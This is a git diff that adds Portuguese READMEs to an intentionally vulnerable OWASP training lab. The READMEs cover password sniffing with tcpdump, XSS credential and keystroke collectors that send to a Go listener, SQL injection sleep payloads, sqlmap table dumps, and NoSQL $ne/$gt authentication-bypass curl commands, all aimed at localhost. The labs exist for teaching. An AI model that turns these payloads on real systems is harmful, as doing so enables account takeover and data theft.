+Muitos aplicativos da Web e APIs não protegem adequadamente dados confidenciais, como financeiros, de saúde e senhas. Os invasores podem roubar ou modificar esses dados pouco protegidos para conduzir fraudes de cartão de crédito, roubo de identidade ou outros crimes. Dados confidenciais podem ser comprometidos sem proteção extra, como criptografia em repouso ou em trânsito, e requerem precauções especiais quando trocados com o navegador.
+
+O principal objetivo deste aplicativo é discutir como as vulnerabilidades do **Falha na Criptográfia** podem ser exploradas e incentivar os desenvolvedores a enviar solicitações pull no **SecDevLabs** sobre como eles corrigiriam essas falhas.
+
+## Como inicializar o aplicativo?
+
+Para iniciar este aplicativo **intencionalmente inseguro**, você precisará do [Docker][Docker Install] e do [Docker Compose][Docker Compose Install]. Depois de clonar o repositório [secDevLabs](https://github.com/globocom/secDevLabs), no seu computador, você deve digitar os seguintes comandos para iniciar o aplicativo:
+
+```sh
+cd secDevLabs/owasp-top10-2021-apps/a2/snake-pro
+```
+
+```sh
+make install
+```
+
+Depois é só visitar [localhost:10003][app] ! 😆
+
+## Conheça o app 💵
+
+Para entender corretamente como esse aplicativo funciona, você pode seguir esse passo a passo:
+
+- Registre-se como um novo usuário!
+- Tente bater o nosso recorde! 😝
+
+## Narrativa de ataque
+
+Agora que você conhece o propósito deste aplicativo, o que pode dar errado? A seção a seguir descreve como um invasor pode identificar e, eventualmente, encontrar informações confidenciais sobre o aplicativo ou seus usuários. Recomendamos que você siga estas etapas e tente reproduzi-las por conta própria para entender melhor o ataque! 😜
+
+### 👀
+
+#### A falta de criptografia ao transmitir senhas de texto simples permite um ataque man-in-the-middle
+
+Após revisar como a aplicação armazena as senhas dos usuários no MongoDB, foi possível ver que dados sensíveis estão sendo armazenados em textos não criptografados, como pode ser visto na função `Register()`(routes.go) e na estrutura em `UserData`(types.go):
+
+
+
+
+
+
+
+
+
+Além disso, o canal está sendo usado pelos usuários para enviar seus dados confidenciais não seguros (HTTP), conforme mostrado abaixo:
+
+
+
+
+
+### 🔥
+
+Se o banco de dados for exposto de alguma forma, as senhas de todos os usuários serão vazadas, conforme mostrado nesses documentos do MongoDB. Para visualizá-los, você pode instalar localmente o [Robo 3T](https://robomongo.org/download) e usar as credenciais padrão usadas em `config.yml`:
+
+```
+Database: snake_pro
+User name: u_snake_pro
+Password: svGX8SViufvYYNu6m3Kv
+Address: localhost:27017
+```
+
+
+
+
+
+Além disso, como as páginas de login usam HTTP para transmitir as credenciais dos usuários, um invasor na mesma rede que a vítima (mesma wifi, por exemplo) pode usar o `tcpdump` para realizar um ataque man-in-the-middle.
+
+Para instalar o tcpdump no Mac, use o seguinte comando:
+
+```sh
+brew install tcpdump
+```
+
+Para começar a farejar senhas do SnakePro, um invasor pode usar o seguinte comando:
+
+```sh
+sudo tcpdump -i lo0 -X host localhost | grep -C 2 pass --color
+```
+
+
+
+
+
+## Proteger este aplicativo
+
+Como você arrumaria essa vulnerabilidade? Após suas alterações, um invasor não poderá:
+
+- Capturar informações confidenciais farejando pacotes de rede.
+- Bônus: Que tal usar HTTPS?
+
+## PR Soluções
+
+[Alerta de spoiler 🚨 ] Para entender como essa vulnerabilidade pode ser resolvida, confira [esses pull requests](https://github.com/globocom/secDevLabs/pulls?q=is%3Apr+label%3A%22mitigation+solution+%F0%9F%94%92%22+label%3ASnakePro)!
+
+## Contribuição
+
+Nós encorajamos você a contribuir com o SecDevLabs! Por favor, confira a seção [Contribuição no SecDevLabs](../../../docs/CONTRIBUTING.md) de como fazer a sua contribuição!🎉 🎉
+
+[docker install]: https://docs.docker.com/install/
+[docker compose install]: https://docs.docker.com/compose/install/
+[app]: http://localhost:10003
+[dirb]: https://tools.kali.org/web-applications/dirb
diff --git a/owasp-top10-2021-apps/a3/comment-killer/README.md b/owasp-top10-2021-apps/a3/comment-killer/README.md
index 3db118056..1b22a5fbf 100644
--- a/owasp-top10-2021-apps/a3/comment-killer/README.md
+++ b/owasp-top10-2021-apps/a3/comment-killer/README.md
@@ -1,7 +1,8 @@
# Comment-killer
- 
+
+
Comment-killer is a simple ReactJS app, which has a Injection (XSS) vulnerability and its main goal is to describe how a malicious user could exploit it on this purposefully vulnerable app.
diff --git a/owasp-top10-2021-apps/a3/comment-killer/README_PT_BR.md b/owasp-top10-2021-apps/a3/comment-killer/README_PT_BR.md
new file mode 100644
index 000000000..72646c8c0
--- /dev/null
+++ b/owasp-top10-2021-apps/a3/comment-killer/README_PT_BR.md
@@ -0,0 +1,163 @@
+# Comment-killer
+
+
+
+
+
+
+O Comment-killer é um aplicativo ReactJS simples, que possui uma vulnerabilidade de injeção (XSS) e seu principal objetivo é descrever como um usuário mal-intencionado poderia explorá-lo.
+
+## Index
+
+- [Comment-killer](#comment-killer)
+ - [Index](#index)
+ - [O que é Cross Site Scripting?](#o-que-é-cross-site-scripting)
+ - [Como inicializar o aplicativo?](#como-inicializar-o-aplicativo)
+ - [Conheça o app 💵](#conheça-o-app-)
+ - [Narrativa de ataque](#narrativa-de-ataque)
+ - [Proteger este aplicativo](#proteger-este-aplicativo)
+ - [PR Soluções](#pr-soluções)
+ - [Contribuição](#contribuição)
+
+
+## O que é Cross Site Scripting?
+
+As falhas de XSS ocorrem sempre que um aplicativo inclui dados não confiáveis em uma nova página da Web sem validação, escape adequados, ou atualiza uma página da Web existente com dados fornecidos pelo usuário usando uma API do navegador que pode criar HTML ou JavaScript.
+
+O XSS permite que os invasores executem scripts no navegador da vítima que podem sequestrar sessões do usuário, desfigurar sites ou redirecionar o usuário para sites maliciosos.
+
+O objetivo principal deste aplicativo é discutir como as vulnerabilidades de **Cross-Site Scripting** podem ser exploradas e incentivar os desenvolvedores a enviar solicitações de pull do **secDevLabs** sobre como mitigar essas falhas. Saiba mais aqui.
+
+## Como inicializar o aplicativo?
+
+Para iniciar este aplicativo **intencionalmente inseguro**, você precisará do [Docker][Docker Install] e do [Docker Compose][Docker Compose Install]. Depois de clonar o repositório [secDevLabs](https://github.com/globocom/secDevLabs), no seu computador, você deve digitar os seguintes comandos para iniciar o aplicativo:
+
+```bash
+cd secDevLabs/owasp-top10-2021-apps/a3/comment-killer
+```
+
+```bash
+make install
+```
+
+Depois é só visitar [http://localhost:10007][app] ! 😆
+
+## Conheça o app 💵
+
+Para entender corretamente como esse aplicativo funciona, você pode seguir esse passo a passo:
+
+- Leia a história legal por trás dos Memes.
+- Adicione um novo comentário.
+
+## Narrativa de ataque
+
+Agora que você conhece o propósito deste aplicativo, o que pode dar errado? A seção a seguir descreve como um invasor pode identificar e, eventualmente, encontrar informações confidenciais sobre o aplicativo ou seus usuários. Recomendamos que você siga estas etapas e tente reproduzi-las por conta própria para entender melhor o ataque! 😜
+
+### Nota: Esta narrativa de ataque funciona melhor no Mozilla Firefox.
+
+### 👀
+
+### Uma página ou aplicativo da Web é vulnerável ao XSS se a entrada do usuário permitir scripts.
+
+Após inspecionar a aplicação, é possível identificar que a entrada de comentário está permitindo scripts e pode ser executada em um navegador web. As imagens a seguir mostram esse comportamento quando o texto a seguir é usado como entrada nesses campos:
+
+```
+
+```
+
+Adicionando um novo comentário a uma postagem:
+
+
+ 
+
+
+A validação de entrada ausente permite que um usuário mal-intencionado insira alguns scripts que persistirão no servidor e serão executados no navegador das vítimas toda vez que acessarem as rotas que contêm esses scripts.
+
+#### 🔥
+
+Um invasor pode abusar dessa falha gerando um código JS malicioso e enviando-o para outros usuários. Para demonstrar isso, o exemplo a seguir criará um formulário de email para tentar roubar as credenciais do usuário.
+
+Inicialmente, uma API é necessária para registrar todas as solicitações recebidas e pode ser construída em Golang da seguinte forma:
+
+```go
+package main
+
+import (
+ "fmt"
+ "github.com/labstack/echo"
+)
+
+func main() {
+ e := echo.New()
+ e.GET("/:email", handler)
+ e.Logger.Fatal(e.Start(":9051"))
+}
+
+func handler(c echo.Context) error {
+ fmt.Println(c.Request().RemoteAddr, c.Param("email"))
+ return nil
+}
+```
+
+Para iniciar a API, o seguinte comando pode ser usado (você deve verificar este [guia](https://golang.org/doc/install) se precisar de ajuda com o Golang):
+
+```sh
+go run main.go
+```
+
+Com a API em funcionamento, basta o seguinte código para mostrar uma mensagem pop-up solicitando o e-mail do usuário para continuar lendo o blog:
+
+```js
+
+```
+
+O código JavaScript acima é responsável por enviar uma solicitação `GET` para a API do invasor para que ela possa ser registrada. Neste cenário, enviaremos solicitações para `localhost`.
+
+Tudo o que precisamos agora é colar o código JavaScript no campo de comentários, conforme mostra a imagem a seguir:
+
+
+ 
+
+
+Quando outro usuário acessar o aplicativo, o seguinte pop-up será mostrado, como podemos ver na imagem abaixo:
+
+
+ 
+
+
+Enquanto isso, com a API em funcionamento, podemos receber o e-mail do usuário, conforme mostra a imagem a seguir:
+
+
+ 
+
+
+## Proteger este aplicativo
+
+Como você arrumaria essa vulnerabilidade? Após suas alterações, um invasor não poderá:
+
+- Executar scripts por meio de campos de entrada
+
+
+
+## PR Soluções
+
+[Alerta de spoiler 🚨 ] Para entender como essa vulnerabilidade pode ser resolvida, confira [esses pull requests](https://github.com/globocom/secDevLabs/pulls?q=is%3Apr+label%3A%22mitigation+solution+%F0%9F%94%92%22+label%3AComment-Killer)!
+
+
+
+## Contribuição
+
+Nós encorajamos você a contribuir com o SecDevLabs! Por favor, confira a seção [Contribuição no SecDevLabs](../../../docs/CONTRIBUTING.md) de como fazer a sua contribuição!🎉 🎉
+
+[docker install]: https://docs.docker.com/install/
+[docker compose install]: https://docs.docker.com/compose/install/
+[app]: http://localhost:10007
+[secdevlabs]: https://github.com/globocom/secDevLabs
diff --git a/owasp-top10-2021-apps/a3/copy-n-paste/README.md b/owasp-top10-2021-apps/a3/copy-n-paste/README.md
index 6ef40a6bb..19c361d9e 100644
--- a/owasp-top10-2021-apps/a3/copy-n-paste/README.md
+++ b/owasp-top10-2021-apps/a3/copy-n-paste/README.md
@@ -1,17 +1,22 @@
# CopyNPaste API
-
+
+
+
CopyNPaste is a Golang web application that uses an API and a simple front end to simulate a login page. It has both `/register` and `/login` routes that, by communicating with a MySQL database, enable users to register and enter into a generic system.
## Index
-- [Definition](#what-is-injection)
-- [Setup](#setup)
-- [Attack narrative](#attack-narrative)
-- [Objectives](#secure-this-app)
-- [Solutions](#pr-solutions)
-- [Contributing](#contributing)
+- [CopyNPaste API](#copynpaste-api)
+ - [Index](#index)
+ - [What is Injection?](#what-is-injection)
+ - [Setup](#setup)
+ - [Get to know the app 💉](#get-to-know-the-app-)
+ - [Attack narrative](#attack-narrative)
+ - [Secure this app](#secure-this-app)
+ - [PR solutions](#pr-solutions)
+ - [Contributing](#contributing)
## What is Injection?
diff --git a/owasp-top10-2021-apps/a3/copy-n-paste/README_PT_BR.md b/owasp-top10-2021-apps/a3/copy-n-paste/README_PT_BR.md
new file mode 100644
index 000000000..136568df2
--- /dev/null
+++ b/owasp-top10-2021-apps/a3/copy-n-paste/README_PT_BR.md
@@ -0,0 +1,181 @@
+# CopyNPaste API
+
+
+
+
+
+CopyNPaste é uma aplicação web Golang que usa uma API e um front-end simples para simular uma página de login. Possui rotas `/register` e `/login` que, ao se comunicar com um banco de dados MySQL, permitem que os usuários se registrem e entrem em um sistema genérico.
+
+## Index
+
+- [CopyNPaste API](#copynpaste-api)
+ - [Index](#index)
+ - [O que é injeção?](#o-que-é-injeção)
+ - [Como inicializar o aplicativo?](#como-inicializar-o-aplicativo)
+ - [Conheça o app 💉](#conheça-o-app-)
+ - [Narrativa de ataque](#narrativa-de-ataque)
+ - [Proteger este aplicativo](#proteger-este-aplicativo)
+ - [PR Soluções](#pr-soluções)
+ - [Contribuição](#contribuição)
+
+## O que é injeção?
+
+Falhas de injeção, como injeção de SQL, NoSQL, SO e LDAP, ocorrem quando dados não confiáveis são enviados a um interpretador como parte de um comando ou consulta. Os dados hostis do invasor podem induzir o intérprete a executar comandos não intencionais ou acessar dados sem a devida autorização.
+
+O principal objetivo deste projeto é discutir como as vulnerabilidades de **SQL Injection** podem ser exploradas e incentivar os desenvolvedores a enviar solicitações de pull do **secDevLabs** sobre como mitigar essas falhas.
+
+## Como inicializar o aplicativo?
+
+Para iniciar este aplicativo **intencionalmente inseguro**, você precisará do [Docker][Docker Install] e do [Docker Compose][Docker Compose Install]. Depois de clonar o repositório [secDevLabs](https://github.com/globocom/secDevLabs), no seu computador, você deve digitar os seguintes comandos para iniciar o aplicativo:
+
+```sh
+cd secDevLabs/owasp-top10-2021-apps/a3/copy-n-paste
+```
+
+```sh
+make install
+```
+
+Depois é só visitar [localhost:10001][app], conforme exemplificado abaixo:
+
+
+
+## Conheça o app 💉
+
+Para entender corretamente como esse aplicativo funciona, você pode seguir estes passos simples:
+
+- Registre um novo usuário via front-end.
+- Faça login como este usuário via front-end.
+
+- Registre outro usuário agora usando a linha de comando:
+
+```sh
+curl -s -H "Content-Type: application/json" -d '{"user":"bob", "pass":"password", "passcheck":"password"}' http://localhost:10001/register
+```
+
+- Faça login como este segundo usuário agora usando a linha de comando:
+
+```sh
+curl -s -H "Content-Type: application/json" -d '{"user":"bob", "pass":"password"}' http://localhost:10001/login
+
+```
+
+## Narrativa de ataque
+
+Agora que você conhece o propósito deste aplicativo, o que pode dar errado? A seção a seguir descreve como um invasor pode identificar e, eventualmente, encontrar informações confidenciais sobre o aplicativo ou seus usuários. Recomendamos que você siga estas etapas e tente reproduzi-las por conta própria para entender melhor o ataque! 😜
+
+### 👀
+
+#### A falta de validação de entrada permite a injeção de consultas SQL
+
+Depois de revisar `NewUser()` , `CheckIfUserExists()` e `AuthenticateUser()` de [`db.go`](<(https://github.com/globocom/secDevLabs/blob/master/owasp-top10-2021-apps/a3/copy-n-paste/app/util/db.go#)>), foi possível ver que algumas entradas de usuários estão concatenadas com consultas SQL, conforme mostrado nos seguintes trechos de código:
+
+```go
+query := fmt.Sprint("select * from Users where username = '" + user + "'")
+
+```
+
+```go
+query := fmt.Sprint("insert into Users (username, password) values ('" + user + "', '" + passHash + "')")
+```
+
+```go
+query := fmt.Sprint("select username from Users where username = '" + username + "'")
+```
+
+Como nenhuma validação está sendo feita nessas variáveis, as injeções de SQL podem ser executadas com sucesso no banco de dados. Usando a interface web, podemos enviar algumas informações, usando o formulário da "página de inspeção", para entender melhor como ela se comunica com a API.
+
+
+
+Para confirmar que o campo de entrada é vulnerável, a seguinte carga útil pode ser usada para testar se um atraso de 5 segundos será observado após o envio:
+
+```
+-1' UNION select 1,2,sleep(5) -- '
+```
+
+
+
+Usando `curl` na interface CLI, podemos testá-lo novamente, desta vez com um atraso maior de 30 segundos:
+
+```sh
+curl -s -H "Content-Type: application/json" -d '{"user":"-1'\'' union select 1,2,sleep(30) -- ", "pass":"password"}' http://127.0.0.1:10001/login
+```
+
+Requisição:
+
+
+
+30 segundos depois, confirmando que podemos executar comandos no servidor:
+
+
+
+#### 🔥
+
+Um invasor pode agora criar qualquer consulta SQL maliciosa e enviá-la para a API que, em teoria, seria executada. Para esta narrativa de ataque, [sqlmap](https://github.com/sqlmapproject/sqlmap) será usado para exemplificar como um ataque automatizado de SQL Injection pode ser executado.
+
+Para instalar o sqlmap em um Mac você pode simplesmente digitar:
+
+```sh
+brew install sqlmap
+```
+
+O primeiro passo possível é criar um arquivo, `postRequest.txt`, contendo o próprio HTTP POST, conforme mostrado no código a seguir:
+
+
+```sh
+POST /login HTTP/1.1
+Host: 127.0.0.1:10001
+User-Agent: curl/7.54.0
+Accept: */*
+Content-Type: application/json
+Content-Length: 31
+
+{"user":"user", "pass":"password"}
+```
+
+Antes de executar o ataque, você pode abrir uma nova aba em seu terminal e digitar o seguinte comando para observar como as solicitações maliciosas serão recebidas pelo app:
+
+```sh
+docker logs a1_api -f
+```
+
+Depois disso, agora podemos usar a opção `-r` e esperar que o sqlmap execute várias solicitações maliciosas até encontrar o parâmetro vulnerável:
+
+```sh
+sqlmap -r postRequest.txt
+```
+
+
+
+Depois de entender como esse banco de dados é estruturado, um invasor pode usar o seguinte comando para recuperar os detalhes do banco de dados:
+
+```sh
+sqlmap -r postRequest.txt --tables
+```
+
+E, em seguida, recupere informações confidenciais dele:
+
+```sh
+sqlmap -r postRequest.txt -D a1db -T Users --dump
+```
+
+
+
+## Proteger este aplicativo
+
+Como você arrumaria essa vulnerabilidade? Após suas alterações, um invasor não poderá:
+
+- Execute consultas SQL no banco de dados.
+
+## PR Soluções
+
+[Alerta de spoiler 🚨 ] Para entender como essa vulnerabilidade pode ser resolvida, confira [esses pull requests](https://github.com/globocom/secDevLabs/pulls?q=is%3Apr+label%3A%22mitigation+solution+%F0%9F%94%92%22+label%3A%22CopyNPaste+API%22)!
+
+## Contribuição
+
+Nós encorajamos você a contribuir com o SecDevLabs! Por favor, confira a seção [Contribuição no SecDevLabs](../../../docs/CONTRIBUTING.md) de como fazer a sua contribuição!🎉 🎉
+
+[docker install]: https://docs.docker.com/install/
+[docker compose install]: https://docs.docker.com/compose/install/
+[app]: http://localhost:10001
+[secdevlabs]: https://github.com/globocom/secDevLabs
diff --git a/owasp-top10-2021-apps/a3/gossip-world/README.md b/owasp-top10-2021-apps/a3/gossip-world/README.md
index b913a717e..a850710c6 100644
--- a/owasp-top10-2021-apps/a3/gossip-world/README.md
+++ b/owasp-top10-2021-apps/a3/gossip-world/README.md
@@ -1,7 +1,7 @@
# Gossip World
-
+
Gossip World is a simple Flask app that contains an example of multiple Injection (XSS) vulnerabilities and its main goal is to describe how a malicious user could exploit them on this purposefully vulnerable app.
diff --git a/owasp-top10-2021-apps/a3/gossip-world/README_PT_BR.md b/owasp-top10-2021-apps/a3/gossip-world/README_PT_BR.md
new file mode 100644
index 000000000..e15b2881c
--- /dev/null
+++ b/owasp-top10-2021-apps/a3/gossip-world/README_PT_BR.md
@@ -0,0 +1,154 @@
+# Gossip World
+
+
+
+
+
+
+
+Gossip World é um aplicativo Flask simples que contém um exemplo de vulnerabilidades de injeção múltipla (XSS) e seu principal objetivo é descrever como um usuário mal-intencionado poderia explorá-los neste aplicativo propositalmente vulnerável.
+
+## Index
+
+- [Gossip World](#gossip-world)
+ - [Index](#index)
+ - [O que é Cross Site Scripting?](#o-que-é-cross-site-scripting)
+ - [Como inicializar o aplicativo?](#como-inicializar-o-aplicativo)
+ - [Conheça o app 💵](#conheça-o-app-)
+ - [Narrativa de ataque](#narrativa-de-ataque)
+ - [Proteger este aplicativo](#proteger-este-aplicativo)
+ - [PR Soluções](#pr-soluções)
+ - [Contribuição](#contribuição)
+
+## O que é Cross Site Scripting?
+
+As falhas de XSS ocorrem sempre que um aplicativo inclui dados não confiáveis em uma nova página da Web sem validação, escape adequados, ou atualiza uma página da Web existente com dados fornecidos pelo usuário usando uma API do navegador que pode criar HTML ou JavaScript.
+
+O XSS permite que os invasores executem scripts no navegador da vítima que podem sequestrar sessões do usuário, desfigurar sites ou redirecionar o usuário para sites maliciosos.
+
+O objetivo principal deste aplicativo é discutir como as vulnerabilidades de **Cross-Site Scripting** podem ser exploradas e incentivar os desenvolvedores a enviar solicitações de pull do **secDevLabs** sobre como mitigar essas falhas. Saiba mais aqui.
+
+## Como inicializar o aplicativo?
+
+Para iniciar este aplicativo **intencionalmente inseguro**, você precisará do [Docker][Docker Install] e do [Docker Compose][Docker Compose Install]. Depois de clonar o repositório [secDevLabs](https://github.com/globocom/secDevLabs), no seu computador, você deve digitar os seguintes comandos para iniciar o aplicativo:
+
+```sh
+cd secDevLabs/owasp-top10-2021-apps/a3/gossip-world
+```
+
+```sh
+make install
+```
+
+Depois é só visitar [localhost:10007][app] ! 😆
+
+## Conheça o app 💵
+
+Para entender corretamente como esse aplicativo funciona, você pode seguir esse passo a passo:
+
+- Criar um novo usuário
+- Tente criar sua fofoca!
+- Tente deixar um comentário em uma fofoca
+
+## Narrativa de ataque
+
+Agora que você conhece o propósito deste aplicativo, o que pode dar errado? A seção a seguir descreve como um invasor pode identificar e, eventualmente, encontrar informações confidenciais sobre o aplicativo ou seus usuários. Recomendamos que você siga estas etapas e tente reproduzi-las por conta própria para entender melhor o ataque! 😜
+
+### Nota: Esta narrativa de ataque funciona melhor no Mozilla Firefox.
+
+### 👀
+
+### Uma página ou aplicativo da Web é vulnerável ao XSS se a entrada do usuário permitir scripts.
+
+Após inspecionar a aplicação, é possível identificar que a entrada de comentário está permitindo scripts e pode ser executada em um navegador web. Ocorre nos campos _search_, _comment_ e _post_. As imagens a seguir mostram esse comportamento quando o texto a seguir é usado como entrada nesses campos:
+
+```
+
+```
+
+Searching for a post:
+
+
+
+Adding a new comment to a post:
+
+
+
+Adding a new post:
+
+
+
+A validação de entrada ausente permite que um usuário mal-intencionado insira alguns scripts que persistirão no servidor e serão executados no navegador das vítimas toda vez que acessarem as rotas que contêm esses scripts.
+
+### 🔥
+
+Um invasor pode abusar dessa falha gerando um código JS malicioso e enviando-o para outros usuários. Para demonstrar isso, o exemplo a seguir obterá todas as entradas de teclado de um usuário persistindo um código malicioso no servidor.
+
+Primeiro, a seguinte API Golang pode ser construída (main.go) que registra todas as solicitações recebidas:
+
+```go
+package main
+import (
+ "fmt"
+ "github.com/labstack/echo"
+)
+func main() {
+ e := echo.New()
+ e.GET("/:k", handler)
+ e.Logger.Fatal(e.Start(":1232"))
+}
+func handler(c echo.Context) error {
+ fmt.Println(c.Request().RemoteAddr, c.Param("k"))
+ return nil
+}
+```
+
+Para iniciar a API, o seguinte comando pode ser usado (você deve verificar este [guia](https://golang.org/doc/install) se precisar de ajuda com o Golang):
+
+```sh
+go run main.go
+```
+
+Em seguida, o invasor pode inserir uma nova postagem pela rota **/newgossip** usando o seguinte código no campo de texto:
+
+```html
+
+```
+
+Este código implementa um keylogger para capturar todas as entradas de teclado dos usuários e enviá-las para a API criada anteriormente.
+
+ 
+
+Quando uma vítima acessa a postagem, o navegador interpreta o texto entre a tag do script como código e o executa secretamente. A imagem a seguir mostra a vítima digitando letras na página que foi "infectada" pelo JS malicioso:
+
+
+
+O invasor agora obtém toda a entrada no log do servidor, conforme mostrado abaixo:
+
+
+
+## Proteger este aplicativo
+
+Como você arrumaria essa vulnerabilidade? Após suas alterações, um invasor não poderá:
+
+- Executar scripts por meio de campos de entrada
+
+## PR Soluções
+
+[Alerta de spoiler 🚨 ] Para entender como essa vulnerabilidade pode ser resolvida, confira [esses pull requests](https://github.com/globocom/secDevLabs/pulls?q=is%3Apr+label%3A%22mitigation+solution+%F0%9F%94%92%22+label%3A%22Gossip+World%22)!
+
+## Contribuição
+
+Nós encorajamos você a contribuir com o SecDevLabs! Por favor, confira a seção [Contribuição no SecDevLabs](../../../docs/CONTRIBUTING.md) de como fazer a sua contribuição!🎉 🎉
+
+[docker install]: https://docs.docker.com/install/
+[docker compose install]: https://docs.docker.com/compose/install/
+[app]: http://localhost:10007
diff --git a/owasp-top10-2021-apps/a3/mongection/README.md b/owasp-top10-2021-apps/a3/mongection/README.md
index 86151cb6e..835e9d9fc 100644
--- a/owasp-top10-2021-apps/a3/mongection/README.md
+++ b/owasp-top10-2021-apps/a3/mongection/README.md
@@ -1,17 +1,21 @@
# Mongection
-
+
Mongection is a simple NodeJS web application that simulates a login page. It has both `/register` and `/login` routes that, by communicating with a MongoDB, enable users to register and enter into a generic system.
## Index
-- [Definition](#what-is-injection)
-- [Setup](#setup)
-- [Attack narrative](#attack-narrative)
-- [Objectives](#secure-this-app)
-- [Solutions](#pr-solutions)
-- [Contributing](#contributing)
+- [Mongection](#mongection)
+ - [Index](#index)
+ - [What is Injection?](#what-is-injection)
+ - [Setup](#setup)
+ - [Get to know the app 💉](#get-to-know-the-app-)
+ - [Attack Narrative](#attack-narrative)
+ - [Lack of input validation allows injection of NoSQL queries](#lack-of-input-validation-allows-injection-of-nosql-queries)
+ - [Secure this app](#secure-this-app)
+ - [PR Solutions](#pr-solutions)
+ - [Contributing](#contributing)
## What is Injection?
diff --git a/owasp-top10-2021-apps/a3/mongection/README_PT_BR.md b/owasp-top10-2021-apps/a3/mongection/README_PT_BR.md
new file mode 100644
index 000000000..719f5e537
--- /dev/null
+++ b/owasp-top10-2021-apps/a3/mongection/README_PT_BR.md
@@ -0,0 +1,131 @@
+# Mongection
+
+
+
+
+Mongection é uma aplicação web NodeJS que usa uma API e um front-end simples para simular uma página de login. Possui rotas `/register` e `/login` que, ao se comunicar com um banco de dados MySQL, permitem que os usuários se registrem e entrem em um sistema genérico.
+
+
+## Index
+
+- [Mongection](#mongection)
+ - [Index](#index)
+ - [O que é injeção?](#o-que-é-injeção)
+ - [Como inicializar o aplicativo?](#como-inicializar-o-aplicativo)
+ - [Conheça o app 💉](#conheça-o-app-)
+ - [Narrativa de ataque](#narrativa-de-ataque)
+ - [Proteger este aplicativo](#proteger-este-aplicativo)
+ - [PR Soluções](#pr-soluções)
+ - [Contribuição](#contribuição)
+
+## O que é injeção?
+
+Falhas de injeção, como injeção de SQL, NoSQL, SO e LDAP, ocorrem quando dados não confiáveis são enviados a um interpretador como parte de um comando ou consulta. Os dados hostis do invasor podem induzir o intérprete a executar comandos não intencionais ou acessar dados sem a devida autorização.
+
+O principal objetivo deste projeto é discutir como as vulnerabilidades de **SQL Injection** podem ser exploradas e incentivar os desenvolvedores a enviar solicitações de pull do **secDevLabs** sobre como mitigar essas falhas.
+
+## Como inicializar o aplicativo?
+
+Para iniciar este aplicativo **intencionalmente inseguro**, você precisará do [Docker][Docker Install] e do [Docker Compose][Docker Compose Install]. Depois de clonar o repositório [secDevLabs](https://github.com/globocom/secDevLabs), no seu computador, você deve digitar os seguintes comandos para iniciar o aplicativo:
+
+```sh
+cd secDevLabs/owasp-top10-2021-apps/a3/mongection
+```
+
+```sh
+make install
+```
+
+Depois é só visitar [localhost:10001][app], conforme exemplificado abaixo:
+
+
+
+## Conheça o app 💉
+
+Para entender corretamente como esse aplicativo funciona, você pode seguir estes passos simples:
+
+- Registre um novo usuário via front-end.
+- Faça login como este usuário via front-end.
+
+- Registre outro usuário agora usando a linha de comando:
+
+```sh
+curl -X POST http://localhost:10001/register -H "Content-Type: application/json" --data '{"name":"bob", "email":"bob@example.com", "password":"bobisboss"}'
+```
+
+- Faça login como este segundo usuário agora usando a linha de comando:
+
+```sh
+curl -X POST http://localhost:10001/login -H "Content-Type: application/json" --data '{"email":"bob@example.com", "password":"bobisboss"}'
+```
+
+## Narrativa de ataque
+
+Agora que você conhece o propósito deste aplicativo, o que pode dar errado? A seção a seguir descreve como um invasor pode identificar e, eventualmente, encontrar informações confidenciais sobre o aplicativo ou seus usuários. Recomendamos que você siga estas etapas e tente reproduzi-las por conta própria para entender melhor o ataque! 😜
+
+### 👀
+
+#### A falta de validação de entrada permite a injeção de consultas NoSQL
+
+Depois de revisar [db.js](https://github.com/globocom/secDevLabs/blob/master/owasp-top10-2021-apps/a3/mongection/src/db.js) oi possível ver que algumas entradas de usuários são concatenadas com consultas NoSQL, conforme mostrado nos trechos de código a seguir:
+
+```js
+const existUser = await User.findOne({ email: email });
+```
+
+```js
+const existsUser = await User.find({
+ $and: [{ email: email }, { password: password }],
+});
+```
+
+Como nenhuma validação está sendo feita nessas variáveis, as injeções de SQL podem ser executadas com sucesso no banco de dados. Usando a interface web, podemos enviar algumas informações, usando o formulário da "página de inspeção", para entender melhor como ela se comunica com a API.
+
+#### 🔥
+
+Um invasor pode criar uma consulta maliciosa como `{"$ne":""}` e passá-la para os campos de email e senha. Como `$ne` é a condição diferente no MongoDB, isso está consultando todas as entradas na coleção de logins em que `username` e `password` não são iguais a "" (vazio).
+
+Usando `curl` na interface CLI, a carga maliciosa pode ser enviada conforme mostrado abaixo:
+
+```sh
+curl -X 'POST' 'http://localhost:10001/login' -H "Content-Type: application/json" --data '{"email": {"$ne":""}, "password": {"$ne":""}}'
+```
+
+
+
+O aplicativo retornará o primeiro usuário que o MongoDB encontrar com um "Hello, Welcome Again!" mensagem, demonstrando que a autenticação foi ignorada. Deve haver pelo menos um usuário já cadastrado no banco de dados para receber esta mensagem.
+
+O mesmo resultado poderia ser alcançado se o invasor enviasse uma carga útil usando a diretiva `$gt` (maior que). A consulta a seguir buscará entradas com campos `username` e `password` maiores que "" (vazio).
+
+```sh
+curl -X 'POST' 'http://localhost:10001/login' -H "Content-Type: application/json" --data '{"email": {"$gt": ""}, "password": {"$gt": ""}}'
+```
+
+
+
+Outra possível carga maliciosa poderia usar a diretiva `$in`. A consulta a seguir irá percorrer cada elemento do array fornecido e tentará cada valor listado para o campo `username`. Além disso, `{"$gt":""}` garantirá que o campo `password` não seja avaliado.
+
+```sh
+curl -X 'POST' 'http://localhost:10001/login' -H "Content-Type: application/json" --data '{"email": {"$in":["admin@example.com", "root@example", "ana@example.com", "bob"]}, "password": {"$gt":""}}'
+```
+
+
+
+## Proteger este aplicativo
+
+Como você arrumaria essa vulnerabilidade? Após suas alterações, um invasor não poderá:
+
+- Execute consultas NoSQL no banco de dados.
+
+## PR Soluções
+
+[Alerta de spoiler 🚨 ] Para entender como essa vulnerabilidade pode ser resolvida, confira [esses pull requests](https://github.com/globocom/secDevLabs/pulls?utf8=%E2%9C%93&q=is%3Apr+label%3A%22mitigation+solution+%F0%9F%94%92%22+label%3A%22Mongection%22)!
+
+## Contribuição
+
+Nós encorajamos você a contribuir com o SecDevLabs! Por favor, confira a seção [Contribuição no SecDevLabs](../../../docs/CONTRIBUTING.md) de como fazer a sua contribuição!🎉 🎉
+
+[docker install]: https://docs.docker.com/install/
+[docker compose install]: https://docs.docker.com/compose/install/
+[app]: http://localhost:10001
+[secdevlabs]: https://github.com/globocom/secDevLabs
diff --git a/owasp-top10-2021-apps/a3/sstype/README.md b/owasp-top10-2021-apps/a3/sstype/README.md
index db055c58a..5b80b51c6 100644
--- a/owasp-top10-2021-apps/a3/sstype/README.md
+++ b/owasp-top10-2021-apps/a3/sstype/README.md
@@ -1,17 +1,22 @@
# SSType
-
+
+
